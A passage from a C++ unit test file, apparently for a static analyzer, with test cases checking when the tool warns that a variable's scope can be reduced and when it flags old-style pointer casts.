if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" 